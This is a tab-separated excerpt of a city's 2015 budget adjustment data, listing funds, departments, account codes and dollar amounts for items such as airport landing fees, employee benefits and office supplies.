15384	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407861.0	VENDING MACH SALES-VAP	622.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15385	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	466803.0	0	0	0	0	0	0.0	0	0	0	0	0.0	466803.0
15386	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2015	2894.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2894.0
15387	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EAP	816.0	Salaries and Wages	2015	2281.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2281.0
15388	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2015	2903.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2903.0
15389	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402110.0	AIRPORT - HANGAR RENTAL	650.0	Charges for Service	2015	-25425.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-25425.0
15390	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402130.0	AIRPORT - LAND LEASE	650.0	Charges for Service	2015	-1139103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1139103.0
15391	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402161.0	NOISE ABATEMENT - AIRPORT	662.0	Other	2015	-36000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-36000.0
15392	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402170.0	LANDING FEES	650.0	Charges for Service	2015	-1200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1200000.0
15393	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2015	122236.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122236.0
15394	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		UNEMPLOYMENT		Salaries and Wages	2015	3260.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3260.0
15395	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2015	11433.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11433.0
15396	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2015	13580.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13580.0
15397	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	20768.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20768.0
15398	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	222997.0	0	0	0	0	0	0.0	0	0	0	0	0.0	222997.0
15399	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	6761.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6761.0
15400	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DCAP	804.0	Salaries and Wages	2015	860.0	0	0	0	0	0	0.0	0	0	0	0	0.0	860.0
15401	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DCAP	804.0	Salaries and Wages	2015	648.0	0	0	0	0	0	0.0	0	0	0	0	0.0	648.0
15402	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	1927.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1927.0
15403	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407250.0	TELECOMMUNICATIONS SERVICES	650.0	Charges for Service	2015	-526257.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-526257.0
15404	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	17700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17700.0
15405	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	3054.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3054.0
15406	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	18594.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18594.0
15407	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511749.0	VISION	816.0	Salaries and Wages	2015	3199.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3199.0
15408	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2015	944850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	944850.0
15409	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER	910.0	 Supplies and Expenses	2015	60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60000.0
15410	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402140.0	AIRPORT - TIE DOWN CHARGES	650.0	Charges for Service	2015	-123063.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-123063.0
15411	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	613896.0	0	0	0	0	0	0.0	0	0	0	0	0.0	613896.0
15412	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2015	77317.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77317.0
15413	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522620.0	RENT		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15414	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2015	2661.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2661.0
15415	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522920.0	VEHICLES - REPAIRS		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15416	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2015	131.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131.0
15417	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2015	4257.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4257.0
15418	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544390.0	OTHER COSTS		 Supplies and Expenses	2015	41509.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41509.0
15419	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2015	414347.0	0	0	0	0	0	0.0	0	0	0	0	0.0	414347.0
15420	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407950.0	TRAINING GREEN BUILDING	612.0	Charges for Service	2015	-1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1100.0
15421	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	1848266.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1848266.0
15422	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		YEAR-END CASH OUTS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15423	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511748.0	DENTAL	808.0	Salaries and Wages	2015	18478.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18478.0
15424	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2015	15415.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15415.0
15425	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2015	532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	532.0
15426	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522940.0	VEHICLES-INSURANCE	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15427	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	637.0	0	0	0	0	0	0.0	0	0	0	0	0.0	637.0
15428	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2015	8556.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8556.0
15429	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	4257.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4257.0
15430	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	560010.0	SCADA O & M	804.0	 Supplies and Expenses	2015	30540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30540.0
15431	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		MEDICAL-RETIREE	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15432	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	356.0	0	0	0	0	0	0.0	0	0	0	0	0.0	356.0
15433	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EAP		Salaries and Wages	2015	733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	733.0
15434	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533070.0	AIRPORT SECURITY GUARDS TRANS		 Supplies and Expenses	2015	664960.0	0	0	0	0	0	0.0	0	0	0	0	0.0	664960.0
15435	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533120.0	SPECIAL EQUIP MAINT		 Supplies and Expenses	2015	2920.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2920.0
15436	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533170.0	AUDIO EQUIPMENT MAINTENANCE		 Supplies and Expenses	2015	18838.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18838.0
15437	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588200.0	BLDG RENOVATION / MAINTENANCE		 Supplies and Expenses	2015	163859.0	0	0	0	0	0	0.0	0	0	0	0	0.0	163859.0
15438	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EAP	804.0	Salaries and Wages	2015	1567.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1567.0
15439	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
15440	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2015	8048.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8048.0
15441	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2015	16631.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16631.0
15442	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15443	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402162.0	FILMING RECEIPTS	662.0	Other	2015	-15183.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15183.0
15444	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511713.0	MEDICARE-MISC EMPLOYEES		Salaries and Wages	2015	9710.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9710.0
15445	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		LIFE INSURANCE & AD & D		Salaries and Wages	2015	2366.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2366.0
15446	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522320.0	METERED POSTAGE		 Supplies and Expenses	2015	2036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2036.0
15447	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522720.0	MILEAGE		 Supplies and Expenses	2015	528.0	0	0	0	0	0	0.0	0	0	0	0	0.0	528.0
15448	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2015	454081.0	0	0	0	0	0	0.0	0	0	0	0	0.0	454081.0
15449	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577220.0	INTRST EXP-BONDS & OTHR LOANS		 Supplies and Expenses	2015	530170.0	0	0	0	0	0	0.0	0	0	0	0	0.0	530170.0
15450	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511748.0	DENTAL	804.0	Salaries and Wages	2015	17258.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17258.0
15451	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511749.0	VISION	804.0	Salaries and Wages	2015	2198.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2198.0
15452	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	296635.0	0	0	0	0	0	0.0	0	0	0	0	0.0	296635.0
15453	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DCAP	804.0	Salaries and Wages	2015	1078.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1078.0
15454	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2015	1883.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1883.0
15455	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	5239.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5239.0
15456	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15457	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	566120.0	EMPLOYEE SERVICE AWARDS	804.0	 Supplies and Expenses	2015	30211.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30211.0
15458	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401490.0	RECYCLE LEASE RENTAL	650.0	Charges for Service	2015	-128200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-128200.0
15459	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407400.0	STATE RECYCLING PROGRAM	662.0	Other	2015	-55200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-55200.0
15460	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15461	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	334392.0	0	0	0	0	0	0.0	0	0	0	0	0.0	334392.0
15462	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		UNEMPLOYMENT	816.0	Salaries and Wages	2015	11730.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11730.0
15463	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DCAP	816.0	Salaries and Wages	2015	1574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1574.0
15464	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407480.0	AIRPORT PARK DROP IN PROGRAM	612.0	Charges for Service	2015	-6200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6200.0
15465	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577050.0	PROPERTY TAXES		 Supplies and Expenses	2015	9351.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9351.0
15466	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588500.0	MISCELLANEOUS EQUIPMENT		 Supplies and Expenses	2015	20243.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20243.0
15467	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1481180.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1481180.0
15468	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	13629.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13629.0
15469	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	34874.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34874.0
15470	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
15471	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407920.0	CAP GRNTS-PROP 1B-BUSES	657.0	Capital Grants	2015	-1558334.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1558334.0
15472	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	13600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13600.0
15473	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	12500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12500.0
15474	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	44436.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44436.0
15475	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	15992.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15992.0
15476	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	79404.0	0	0	0	0	0	0.0	0	0	0	0	0.0	79404.0
15477	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404930.0	SALE OF COMPOSTING BINS	650.0	Charges for Service	2015	-2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2000.0
15478	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15479	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	35663.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35663.0
15480	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566880.0	EXPLORER POST	806.0	 Supplies and Expenses	2015	4689.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4689.0
15481	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555210.0	TRAINING	816.0	 Supplies and Expenses	2015	10180.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10180.0
15482	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402100.0	AIRPORT - FUEL SALES	650.0	Charges for Service	2015	-290454.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-290454.0
15483	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-27500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-27500.0
15484	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		YEAR-END CASH OUTS		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15485	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	55805.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55805.0
15486	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2015	110080.0	0	0	0	0	0	0.0	0	0	0	0	0.0	110080.0
15487	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577190.0	REPAYMENT OF LOAN		 Supplies and Expenses	2015	630349.0	0	0	0	0	0	0.0	0	0	0	0	0.0	630349.0
15488	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15489	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511490.0	OVERTIME	804.0	Salaries and Wages	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
15490	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
15491	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555121.0	ASSFC PASS-THRU		 Supplies and Expenses	2015	203600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	203600.0
15492	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2015	-78160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-78160.0
15493	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15494	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2015	1596.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1596.0
15495	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	408000.0	INTERFUND SERVICES-FIN	612.0	Charges for Service	2015	-876058.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-876058.0
15496	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-RETIREE	806.0	Salaries and Wages	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
15497	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		MEDICAL-RETIREE	806.0	Salaries and Wages	2015	18000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18000.0
15498	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404081.0	INTEREST - PROP 1B-SECURITY	659.0	Investment Income	2015	-10977.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10977.0
15499	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	407930.0	GARDENSOFT WEBSITE PARTNR FUND	612.0	Charges for Service	2015	-3750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3750.0
15500	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511660.0	ADAPTIVE RECREATION/SPORTS	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15501	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	2191.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2191.0
15502	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
15503	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	241271.0	0	0	0	0	0	0.0	0	0	0	0	0.0	241271.0
15504	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	314.0	0	0	0	0	0	0.0	0	0	0	0	0.0	314.0
15505	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	887.0	0	0	0	0	0	0.0	0	0	0	0	0.0	887.0
15506	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	9200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9200.0
15507	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	578700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	578700.0
15508	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	241.0	0	0	0	0	0	0.0	0	0	0	0	0.0	241.0
15509	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
15510	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	427.0	0	0	0	0	0	0.0	0	0	0	0	0.0	427.0
